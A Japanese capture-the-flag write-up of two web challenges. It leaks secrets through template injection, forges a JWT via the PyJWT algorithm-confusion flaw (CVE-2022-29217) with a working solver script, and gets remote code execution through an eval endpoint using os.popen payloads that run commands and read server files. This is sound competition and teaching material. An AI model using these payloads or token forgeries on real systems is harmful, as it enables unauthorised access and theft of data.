ソースコードを見るとtempletes/kings_lair.htmlにダミーフラグが書いてあった。このファイルが使われている所を見ると以下の箇所。

# Load keys
with open('private_key.pem', 'rb') as f:
    PRIVATE_KEY = f.read()

with open('public_key.pub', 'rb') as f:
    PUBLICKEY = f.read()

KINGSDAY = os.getenv("KINGSDAY", "TEST_TEST")
...[redacted]...
@app.route('/kings_lair', methods=['GET'])
def kings_lair():
    token = request.cookies.get('pyramid')
    if not token:
        return jsonify({"error": "Token is required"}), 400

    try:
        decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
        if decoded.get("CURRENT_DATE") == KINGSDAY and decoded.get("ROLE") == "royalty":
            return render_template('kings_lair.html')
        else:
            return jsonify({"error": "Access Denied: King said he does not way to see you today."}), 403
    
    except jwt.ExpiredSignatureError:
        return jsonify({"error": "Access has expired"}), 401
    except jwt.InvalidTokenError as e:
        print(e)
        return jsonify({"error": "Invalid Access"}), 401

フラグを得るには2つのクリアすべき障壁がある。1つはJWTトークンの検証を回避することであり、もう1つはKINGSDAYの値を特定することである。

decode部分を見るとdecoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())のように使えるアルゴリズムjwt.algorithms.get_default_algorithms()となっていた。encode時はjwt.encode(payload, PRIVATE_KEY, algorithm="EdDSA")のように固定されているので変な感じがする。怪しいがnoneを試しても成功しなかったので一旦置いておく。

SSTI

ソースコードをさらに巡回すると以下にSSTI出来る箇所が見つかる。(適当に省略している)

@app.route('/scarab_room', methods=['GET', 'POST'])
def scarab_room():
    try:
        if request.method == 'POST':
            name = request.form.get('name')
            if name:
                kings_safelist = ['{','}', '𓁹', '𓆣','𓀀', '𓀁', '𓀂', '𓀃', '𓀄', '𓀅', '𓀆', '𓀇', '𓀈', '𓀉', '𓀊', 
                                    '𓀐', '𓀑', '𓀒', '𓀓', '𓀔', '𓀕', '𓀖', '𓀗', '𓀘', '𓀙', '𓀚', '𓀛', '𓀜', '𓀝', '𓀞', '𓀟',
                                    '𓀠', '𓀡', '𓀢', '𓀣', '𓀤', '𓀥', '𓀦', '𓀧', '𓀨', '𓀩', '𓀪', '𓀫', '𓀬', '𓀭', '𓀮', '𓀯',
                                    '𓀰', '𓀱', '𓀲', '𓀳', '𓀴', '𓀵', '𓀶', '𓀷', '𓀸', '𓀹', '𓀺', '𓀻']  

                name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])

                
                return render_template_string('''
                    <!DOCTYPE html>
...
[redacted]
...
                        
                        {% if name %}
                            <h1>𓁹𓁹𓁹 Welcome to the Scarab Room, '''+ name + ''' 𓁹𓁹𓁹</h1>
                        {% endif %}
                        
                    </body>
                    </html>
                ''', name=name, **globals())
    except Exception as e:
        pass

    return render_template('scarab_room.html')

GET /scarab_roomを開き{{config}}を試すとうまくいった。いつものSSTIのペイロードを試そうとするが、記号が使えないためにRCEができない。

記号が使えなくてもできることを色々試すと、{{KINGSDAY}}でKINGSDAYの値を取得することが出来た。パズルのピースが1つ手に入った。同様にPRIVATE_KEYが取得出来ればトークン偽装もできるようになるが、これは記号が含まれているので無理。代わりに公開鍵の方は{{PUBLICKEY}}のように不自然に記号が含まれていないので取得できる。

JWTトークンを偽装する

先ほどは偽装に失敗したが、SSTIから公開鍵が得られることを考えても、やはり偽装するのだろう。使っているライブラリに脆弱性が無いかrequirements.txtを見てみるとPyJWT==2.3.0のようにPyJWTの大分古いバージョンを使っていて、検索すると脆弱性CVE-2022-29217が報告されていた。これは使えそうだ。古いバージョンだとPEMをそのまま共通鍵として指定しても問題無いというもの。

以下のようにやってみる。

with open('lostpyramid/public_key.pub', 'rb') as f:
    PUBLICKEY = f.read()

import jwt

token = jwt.encode({"ROLE": "commoner"}, PUBLICKEY, algorithm='HS256')
print(token)

これを実行してみると…

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

とエラーが出た。手元の環境はバージョンが新しいようだ。クリーンなpython環境を作って指定のPyJWTをインストールしてもう一度試してみよう。

$ docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bash
root@d7c568217a01:/# pip install PyJWT==2.3.0
Collecting PyJWT==2.3.0
  Downloading PyJWT-2.3.0-py3-none-any.whl.metadata (4.0 kB)
Downloading PyJWT-2.3.0-py3-none-any.whl (16 kB)
Installing collected packages: PyJWT
Successfully installed PyJWT-2.3.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

[notice] A new release of pip is available: 24.0 -> 24.2
[notice] To update, run: pip install --upgrade pip
root@d7c568217a01:/# cd /mnt
root@d7c568217a01:/mnt# python3 solver.py 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJST0xFIjoiY29tbW9uZXIifQ.hGjNWOZmjK56LiVC8y9VZymVTt6Kq18v_jhaTvM8Wqk

ok. これをCookieのpyramidに入れてGET /kings_lairに行くと{"error":"Access Denied: King said he does not way to see you today."}のようにトークン検証は成功した。

フラグへ

これでパズルの鍵が全部そろったので、フラグを取ろう。

  1. GET /scarab_roomを開く
  2. {{KINGSDAY}}を入力して、KINGSDAYの値を取得 -> 03_07_1341_BC
  3. {{PUBLICKEY}}を入力して、PUBLICKEYの値を取得 -> ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2
  4. 以下でtoken作成
KINGSDAY = '03_07_1341_BC'
PUBLICKEY = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2'

import jwt

token = jwt.encode({"ROLE": "royalty", "CURRENT_DATE": KINGSDAY}, PUBLICKEY, algorithm='HS256')
print(token)
  1. 4の結果をCookieのpyramidにいれて、GET /kings_lairを開くとフラグ獲得

[web] Playing on the Backcourts

ソースコードpythonスクリプトが与えられる。フラグはpythonコード内にある。

safetytime = 'csawctf{i_look_different_in_prod}'

書いてはあるが、どこでも使われていない。ソースコードを巡回すると、怪しい処理がある。

@app.route('/get_eval', methods=['POST'])
def get_eval() -> Flask.response_class:
    try:
        data = request.json
        expr = data['expr']
        
        return jsonify(status='success', result=deep_eval(expr))
    
    except Exception as e:
        return jsonify(status='error', reason=str(e))


def deep_eval(expr:str) -> str:
    try:
        nexpr = eval(expr)
    except Exception as e:
        return expr
    
    return deep_eval(nexpr)

evalしてますね。入力されたjsonのexprを持ってきてevalしている。これはasfetytimeを持って来るだけか?…とPOST /get_evalに対して{"expr": "safetytime"}を送ると以下が帰ってきた。

{"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"}

これを出してみるが不正解。んー、RCEできるかも確かめてみる。

{"expr": "__import__('os').popen('id').read()"}とやるとuid=1000(swilliams) gid=3000 groups=3000と帰ってきた。RCEできますね。

適当にcat * | grep csawctfするといくつかフラグっぽいのが出てきて出すと正答だった。{"expr": "__import__('os').popen('cat * | grep csawctf').read()"}を送って、最後に出てきたフラグっぽいものが正答。